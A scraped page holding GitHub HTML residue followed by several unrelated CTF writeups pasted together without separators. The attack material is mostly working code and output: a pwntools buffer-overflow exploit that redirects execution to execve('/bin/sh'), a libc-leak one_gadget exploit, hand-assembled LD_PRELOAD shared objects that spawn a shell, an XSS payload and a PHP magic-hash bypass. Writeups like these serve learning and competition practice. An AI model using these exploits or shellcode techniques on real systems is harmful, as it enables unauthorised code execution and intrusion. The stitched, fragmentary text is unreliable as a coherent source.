0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/sponege/CTF-writeups/file-list/master/DawgCTF2020/spot-the-difference"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>index.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# IJCTF 2020 ## Input Checker > 100>> Finding the best input.>> `nc 35.186.153.116 5001`>> Challenge File: [https://github.com/linuxjustin/IJCTF2020/blob/master/pwn/input](input)>> Author: Tux Tags: _pwn_ _bof_ _remote-shell_ ### Analysis #### Checksec ``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)``` Few mitigations in place, basically no shellcode, everything else is fair game. #### Decompile with Ghidra ![](./main.png) You can ignore lines 15-28, they just fill up `local_648` with random garbage and then tease you with the possibility of getting a shell if you get the right garbage. > `0x402005` on line 17 is `/dev/urandom` (look at the disassembly). Lines 29-34 are the vulnerability: ```c local_20 = 0; while (local_20 < 0x442) { local_2c = getchar(); local_438[local_20] = (char)local_2c; local_20 = local_20 + 1; }``` This loop writes `0x442` (`getchar()`) bytes to `local_438`, however `local_438` is only `0x438` bytes above the return address (Ghidra stack diagram): ```undefined8 RAX:8 <RETURN>undefined4 Stack[-0x1c]:4 local_1cundefined4 Stack[-0x20]:4 local_20undefined8 Stack[-0x28]:8 local_28undefined4 Stack[-0x2c]:4 local_2cundefined4 Stack[-0x38]:4 local_38undefined4 Stack[-0x3c]:4 local_3cundefined4 Stack[-0x40]:4 local_40undefined4 Stack[-0x44]:4 local_44undefined4 Stack[-0x48]:4 local_48undefined1 Stack[-0x438]:1 local_438undefined1 Stack[-0x648]:1 local_648``` Clearly we can overwrite the return address. And the obvious target is `execve` above (line 26 disassembly): ```00401253 ba 00 00 00 00 MOV EDX,0x000401258 be 00 00 00 00 MOV ESI,0x00040125d 48 8d 3d ae 0d 00 00 LEA RDI,[s_/bin/sh_00402012] = "/bin/sh"00401264 e8 37 fe ff ff CALL execve // int execve(char * __path, char *``` Easy, just write out 1080 (`0x438`) bytes followed by `0x0000000000401253`, right? Well, not really. On the way to the return address is `local_20`--the loop counter. Some care will need to be taken to set `local_20` correctly at the right time. ### Exploit ```python#!/usr/bin/env python3 from pwn import * #p = process('./input')p = remote('35.186.153.116', 5001) #p.recvuntil('Input: ') '''undefined8 RAX:8 <RETURN>undefined4 Stack[-0x1c]:4 local_1cundefined4 Stack[-0x20]:4 local_20undefined8 Stack[-0x28]:8 local_28undefined4 Stack[-0x2c]:4 local_2cundefined4 Stack[-0x38]:4 local_38undefined4 Stack[-0x3c]:4 local_3cundefined4 Stack[-0x40]:4 local_40undefined4 Stack[-0x44]:4 local_44undefined4 Stack[-0x48]:4 local_48undefined1 Stack[-0x438]:1 local_438undefined1 Stack[-0x648]:1 local_648''' payload = (0x438 - 0x20) * b'A'payload += p8(((0x438 - 0x20) & 0xFF) + 0x20 - 1)payload += p64(0x401253) p.sendline(payload)p.interactive()``` > This works locally, but remotely I had to comment out the `recvuntil`--probably a buffering issue on their end. The payload has the following three movements: #### The Fast Movement (Allegro) `(0x438 - 0x20) * b'A'` overflows the buffer (`local_438`) and stack just before the variable `local_20` (the loop counter). > See the stack diagram above as to why it's `(0x438 - 0x20)`. #### The Slow Movement (Adagio) After blasting `1048` (`0x438` - `0x20`) bytes, we need to slow down and send one specific byte to have `local_20` jump over itself and target the return address. ```c local_20 = 0; while (local_20 < 0x442) { local_2c = getchar(); local_438[local_20] = (char)local_2c; local_20 = local_20 + 1; }``` At this point in the execution `local_20` is 1048 (`0x418`), the next `getchar()` value will be written to `local_438[1048]` which is the same as the low order byte of `local_20`. We cannot just blindly keep writing `A`s. What we need to write is a value that when incremented will have `local_438` + `local_20` pointing to the return address: ```pythonp8(((0x438 - 0x20) & 0xFF) + 0x20 - 1)``` To do this, we need to increase the least significant byte of `local_20` by `0x20` (distance from the return address (see stack diagram above), less `1`, because it gets added back with `local_20 = local_20 + 1`. #### The Dance Number (Scherzo ("joke")) Now that `local_438` + `local_20` is pointing to the return address, overwrite with the address to the `execve` call in `main`: ```pythonpayload += p64(0x401253)``` #### Output ```# ./exploit.py[+] Opening connection to 35.186.153.116 on port 5001: Done[*] Switching to interactive mode$Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA $ cat flag.txtIJCTF{1nt3r3st1ng_e3sY-s0lut10ns_ex1sTz!}``` #### Flag ```IJCTF{1nt3r3st1ng_e3sY-s0lut10ns_ex1sTz!}```
# dorsia1 Writeup by Srdnlen## Category: PWN ## Descriptionhttp://us-east-1.linodeobjects.com/wpictf-challenge-files/dorsia.webm The first card. nc dorsia1.wpictf.xyz 31337 or 31338 or 31339 made by: awg Hint: Same libc as dorsia4, but you shouldn't need the file to solve.Hint2: 'A' * 77 ## Source Code ```C#include <stdio.h>#include <stdlib.h> void main() { char a[69]; printf("%p\n",system+765772); fgets(a,96,stdin); }``` ## WriteupThis looks like a very typical buffer overflow challenge... However, our exploits just didn't work. Why? The great minds at WPICTF decided to disable stack alignment for this challenge. We were using 88 bytes of garbage, but actually it's 77, as the second hint suggests. 69 + 8 for rbp. Let's use `one_gadget` on the libc (from dorsia4) and it's done. ```from pwn import * p = remote('dorsia1.wpictf.xyz', 31339)e = ELF('./libc.so.6') # Leak addressesleak = int(p.recvline(), 16)system = leak - 765772libc = system - e.sym['__libc_system']one_gadget = libc + 0x4f322padding = b'A' * 77 # Infoprint('Libc: ', hex(libc))print('System: ', hex(system)) # Send the one_gadget and get flag ezp.sendline(padding + p64(one_gadget))p.interactive()``` ## Flag`WPI{FEED_ME_A_STRAY_CAT}`
Problem description given at http://golf.so.pwni.ng/upload ```Upload a 64-bit ELF shared object of size at most 1024 bytes. It should spawn a shell (execute execve("/bin/sh", ["/bin/sh"], ...)) when used like LD_PRELOAD=<upload> /bin/true``` So we need to construct a shared library which should spawn a execve shell when loaded in /bin/trueSo I started by a construct a minimal c fill with a empty definition of a glibc function that we will override ```➜ golf.so> gcc -fPIC -c custom.c ➜ golf.so> gcc -shared -o custom.so custom.o ➜ golf.so> ls -latotal 32-rw-r--r-- 1 xyz xyz 37 Apr 18 10:04 custom.c-rw-r--r-- 1 xyz xyz 1240 Apr 20 10:30 custom.o-rwxr-xr-x 1 xyz xyz 15584 Apr 20 10:30 custom.so``` It became clear early that gcc will not make anything smaller that 10KB even with additional optimization flags.So we started out writing a elf by hand Taking the elfl spec reference from `https://uclibc.org/docs/elf-64-gen.pdf`Started by constructing a very basic elf executable which executes execve shell ```use64org 0x400000 ehdr: ; Elf64_Ehdr db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident times 8 db 0 dw 2 ; e_type dw 0x3e ; e_machine dd 1 ; e_version dq _start ; e_entry dq phdr - $$ ; e_phoff dq 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 1 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx ehdrsize = $ - ehdr phdr: ; Elf64_Phdr dd 1 ; p_type dd 5 ; p_flags dq 0 ; p_offset dq $$ ; p_vaddr dq $$ ; p_paddr dq filesize ; p_filesz dq filesize ; p_memsz dq 0x1000 ; p_align phdrsize = $ - phdr main:_start: push rax push rdx push rsi push rbx xor rax,rax xor rdx, rdx xor rsi, rsi mov rbx,'/bin/sh' push rbx push rsp pop rdi mov al, 59 syscall pop rbx pop rbx pop rsi pop rdx pop rax ret filesize = $ - $$``` Straight out of this blog `https://blog.stalkr.net/2014/10/tiny-elf-3264-with-nasm.html`When assembled with `fasm small.asm ./small` we get a shell in only 156 bytes. Yay ! So now the plan was to write a shared lib by hand which will override a glibc functionFor a shared library you need two program headers, one defining a LOADable segment and another a DYNAMIC segment.Then you need to construct section headers, one SYMTAB section containing our overwriting symbol, a STRTAB containing the strings, a text section for our actual payload,and DYNSYM section. ```use64org 0x0 ehdr: ; Elf64_Ehdr db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident times 8 db 0 dw 3 ; e_type dw 0x3e ; e_machine dd 1 ; e_version dq _start ; e_entry dq phdr - $$ ; e_phoff dq sectionHeaders - $$ ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 2 ; e_phnum dw 64 ; e_shentsize dw 6 ; e_shnum dw 4 ; e_shstrndx ehdrsize = $ - ehdr phdr: ; Elf64_Phdr phdr_loadable: dd 1 ; p_type dd 7 ; p_flags dq 0 ; p_offset dq $$ ; p_vaddr dq $$ ; p_paddr dq filesize ; p_filesz dq filesize ; p_memsz dq 0x1000 ; p_alignphdrsize = $ - phdr phdr_dynamic: dd 2 ; p_type dd 7 ; p_flags dq dynamic ; p_offset dq dynamic ; p_vaddr dq dynamic ; p_paddr dq dynamicsize ; p_filesz dq dynamicsize ; p_memsz dq 0x1000 ; p_align ; org 0x1000main:_start: push rax push rdx push rsi push rbx xor rax,rax xor rdx, rdx xor rsi, rsi mov rbx,'/bin/sh' push rbx push rsp pop rdi mov al, 59 syscall pop rbx pop rbx pop rsi pop rdx pop rax ret mainsize = $ - main sectionHeaders: section_dynsym: dd 1 ;sh_name dd 11 ;sh_type DYNSYM dq 7 ;sh_flags rx dq dynsym ;sh_addr dq dynsym ;sh_offset dq dynsymsize ;sh_size dd 3 ;sh_link dd 1 ;sh_info dq 1 ;sh_addralign dq 24 ;sh_entsize section_text: dd 19 ;sh_name dd 1 ;sh_type PROGBITS dq 7 ;sh_flags rx dq main ;sh_addr dq main ;sh_offset dq mainsize ;sh_size dd 3 ;sh_link dd 0 ;sh_info dq 1 ;sh_addralign dq 0 ;sh_entsize section_shstrtab: dd 9 ;sh_name dd 3 ;sh_type STRTAB dq 7 ;sh_flags rx dq shstrtab ;sh_addr dq shstrtab ;sh_offset dq shstrtabsize ;sh_size dd 0 ;sh_link dd 0 ;sh_info dq 1 ;sh_addralign dq 0 ;sh_entsize section_dynamic: dd 41 ;sh_name dd 6 ;sh_type SYMTAB dq 7 ;sh_flags rx dq dynamic ;sh_addr dq dynamic ;sh_offset dq dynamicsize ;sh_size dd 3 ;sh_link dd 0 ;sh_info dq 8h ;sh_addralign dq 16 ;sh_entsize sectionHeaderssize = $ - sectionHeaders dynsym: times 24 db 0 dd 1 ;st_name db 18 ;st_info global function 00010000 || 00000010 db 0 ;st_other dw 1 ;st_shndx dq _start ;st_value dq mainsize ;st_sizedynsymsize = $ - dynsym dynamic: dt_strtab: dq 5 dq shstrtab dt_symtab: dq 6 dq dynsym dt_none: dq 0 dq 0dynamicsize = $ - dynamic shstrtab: db 0shstrtabsize = $ - shstrtab filesize = $ - $$```The final file size was already getting around 700 bytes.We were almost done writing it by hand, but when we were building the dynamic section while reading the elf spec we came across the flag `DT_INIT````DT_INIT 12 d_ptr Address of the initialization function```Shit, we could just point DT_INIT to our function and it will execute, no need of all this extra sections.So the only thing we need for this 2 program headers and one dynamic section containing our DT_INIT ```use64org 0x0 ehdr: ; Elf64_Ehdr db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident times 8 db 0 dw 3 ; e_type dw 0x3e ; e_machine dd 1 ; e_version dq _start ; e_entry dq phdr - $$ ; e_phoff dq sectionHeaders - $$ ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 2 ; e_phnum dw 64 ; e_shentsize dw 6 ; e_shnum dw 4 ; e_shstrndx ehdrsize = $ - ehdr phdr: ; Elf64_Phdr phdr_loadable: dd 1 ; p_type dd 7 ; p_flags dq 0 ; p_offset dq $$ ; p_vaddr dq $$ ; p_paddr dq filesize ; p_filesz dq filesize ; p_memsz dq 0x1000 ; p_alignphdrsize = $ - phdr phdr_dynamic: dd 2 ; p_type dd 7 ; p_flags dq dynamic ; p_offset dq dynamic ; p_vaddr dq dynamic ; p_paddr dq dynamicsize ; p_filesz dq dynamicsize ; p_memsz dq 0x1000 ; p_align ; org 0x1000main:_start: push rax push rdx push rsi push rbx xor rax,rax xor rdx, rdx xor rsi, rsi mov rbx,'/bin/sh' push rbx push rsp pop rdi mov al, 59 syscall pop rbx pop rbx pop rsi pop rdx pop rax ret mainsize = $ - main sectionHeaders:dynsym:dynsymsize = $ - dynsym dynamic: dt_strtab: dq 5 dq dynsym dt_symtab: dq 6 dq dynsym dt_init: dq 12 dq maindynamicsize = $ - dynamic filesize = $ - $$``` Just the bare essentials, the final file was `266 bytes`. We got 1/2 flag.For the next flag we needed under 196 bytes. 1. Trim the shellcode2. Overlap the elf header with the program header = save 4 bytes3. Overlap the dynamic program header with the dynamic section = save 8*6 bytes4. Overlap few bytes of the dynamic section with the shellcode = 2 bytes ```use64org 0x0 ehdr: ; Elf64_Ehdr db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident times 8 db 0 dw 3 ; e_type dw 0x3e ; e_machine dd 1 ; e_version dq _start ; e_entry dq phdr - $$ ; e_phoff dq 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 2 ; e_phnum ;dw 64 ; e_shentsize ;dw 4 ; e_shnum ehdrsize = $ - ehdr phdr: ; Elf64_Phdr phdr_loadable: dd 1 ; p_type dd 7 ; p_flags dq 0 ; p_offset dq 0 ; p_vaddr dq 0 ; p_paddr dq filesize ; p_filesz dq filesize ; p_memsz dq 0x1000 ; p_alignphdrsize = $ - phdr phdr_dynamic: dd 2 ; p_type dd 1 ; p_flags ;dq 1 ; p_offset ;dq 1 ; p_vaddr ;dq dynamic ; p_paddr ;dq dynamicsize ; p_filesz ;dq dynamicsize ; p_memsz ;dq 8 ; p_align dynamic: dt_strtab: dq 5 dq dynamic dt_init: dq 12 dq main dt_symtab: dq 6times 6 db 0 dynamicsize = $ - dynamic main:_start: xor eax,eax xor edx, edx mov rbx,'/bin/sh' push rbx push rsp pop rdi push rax push rdi push rsp pop rsi mov al, 59 syscall ; mainsize = $ - main dynsym:dynsymsize = $ - dynsym filesize = $ - $$``` ```➜ golf.so> fasm smalllib.asm smalllib.soflat assembler version 1.73.13 (16384 kilobytes memory, x64)2 passes, 193 bytes.```We got it to 193 bytes and got the 2nd flag as well. Crazy
## Web ### Paster flag: flag{x55_i5Nt_7hA7_bAD_R1Gh7?} Simple XSS attack, call alert on the screen to get flag #### payload ```$ <svg/onload=alert(1)>``` ### Super Secret Flag Vault flag: flag{!5_Ph9_5TronGly_7yPed?} php hash issue(weak type comparsion) ```lang=php$hash = "0e770334890835629000008642775106";if(md5($_REQUEST["combination"]) == $hash){ echo " The Flag is flag{...}";}``` Since hash is all digits, and "==", it simply means $hash = 0set Combination to 240610708 to solve the problemmd5(240610708) == 0e46... == 0 ### CookieForge **Failed** Got the cookie, seems to be in jwt tokenBut can't forge(because of the last to dot, can't know what it means) session: eyJmbGFnc2hpcCI6ZmFsc2UsInVzZXJuYW1lIjoiYWRtaW4ifQ.XqHKwQ.VzPUBGzCO5kAFQ-k1DkzKY7hA80 First one is > {"flagship":false,"username":"admin"} simpley change flagship to true won't work because of the latest two terms(kind of signature) ### Custom UI **Failed** Seems to be XXE attack ### Online BirthDay Party **Failed** SQL-Injection
If you split the code we get from the challenge into 5 parts and then reversing the order of this parts: ```cipher = "ÄѓӿÂÒêáøz§è§ñy÷¦"key = "r34l_g4m3rs_eXclus1v3" flag = [0] * 21 flag[0] = ord('h')flag[1] = ord('0')flag[7] = ord('u') # First cipher = cipher[9:] + cipher[:9] # Secondcipher = list(cipher)for i in range(9): cipher[i] = chr(ord(cipher[i]) - 20) cipher = "".join(cipher) # Thirdfor i in range(15, 21): flag[i] = ord(cipher[i - 3]) - ord(key[i - 3]) # Fourthfor i in range(10, 15): flag[i - 8] = ord(cipher[i - 3]) - ord(key[i]) # Fifthfor i in range(0, 7): flag[i + 8] = ord(cipher[i]) - ord(key[i]) print("rtcp{" + "".join([chr(num) for num in flag]) + "}") ``` then, you get the flag :)`rtcp{h0p3_y0ur3_h4v1ng_fun}`
Author writeup. In short: two injections + meta-redirect + CSRF + weird user activation behavior with extension postMessage + scroll to text fragment + lazy-loading image.
We are given 2 things, some ciphertext and the code which was used to encrypt it. Since we are given the encrypt function, we can go ahead and reverse it. The problem is that we do not know the 256-digit key that was used for the encryption. However, not knowing the 256-digit key turns out not to be a problem due to the line `new_pos = (3**(key+i)) % 257`. The key is used to generate a new position by generating a value based on powers of 3. For all the possible values of the 256-digit key, there are only 256 possible outputs. Moreover, since 3 is a [primitive root](https://en.wikipedia.org/wiki/Primitive_root_modulo_n) modulo 257 (they are coprime), this would result in a cyclic sequence. The only variable that determines the ciphertext, apart from the plaintext itself, is the starting point of the sequence, which is a number from `1` to `257` (which translates to an array index from `0` to `256` due to the use of `ciphertext[new_pos-1]`). This number becomes our actual key, and we are able to brute-force it until we find a flag in our required format, `{FLG:<flag>}`).
# Tom Nook The Capitalist Racoon Alright, I cheated on this one. You were __supposed__ to reverse engineer the binary, but instead I just played the game and noticed that if you buy and sell a tarantula, you still have that tarantula. I have no idea why that's the case, but let's abuse it anyway. The flag is in the shop, and it costs 420000 bells. ```Timmy: Welcome!How can I help you today?1. I want to sell2. What's for sale?3. See you later.Choice: 2 8500 bellsTimmy: Here's what we have to sell today.1. flimsy net - 400 bells2. tarantula - 8000 bells3. slingshot - 900 bells4. sapling - 640 bells5. cherry - 400 bells6. flag - 420000 bells``` We can make a script that uses this "tarantula glitch" to get enough bells to buy the flag, and then buy the flag. ```pythonfrom pwn import *from math import * if 'rem' in sys.argv: conn = remote('ctf.umbccd.io', 4400)else: conn = process('./animal_crossing') conn.send('1\n1\n1\n2\n1\n2\n1\n3\n1\n4\n2\n2\n') ## sell all your stuff, and buy a single tarantula. for i in range(52 * 2): ## now sell those unlimited tarantulas! conn.send('1\n') conn.send('2\n6\n1\n') ## buy the flag, and show the contents by listing your items. conn.interactive()``` All you have to do is run the script, sit back and relax. It takes a while to receive, because of the purposeful delay between characters, but eventually you get this: ```420600 bellsTimmy: Here's what we have to sell today.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x001. flimsy net - 400 bells2. tarantula - 8000 bells3. slingshot - 900 bells4. sapling - 640 bells5. cherry - 400 bells6. flag - 420000 bells Timmy: Excellent purchase!Yes, thank you for the bells1. I want to sell2. What's for sale?3. See you later.Choice:Of course! What exactly are youoffering?1. tarantula - I hate spiders! Price: 8000 bells2. flag - DogeCTF{t0m_n00k_c@pit4l1st_$cum} Price: 420000 bells``` 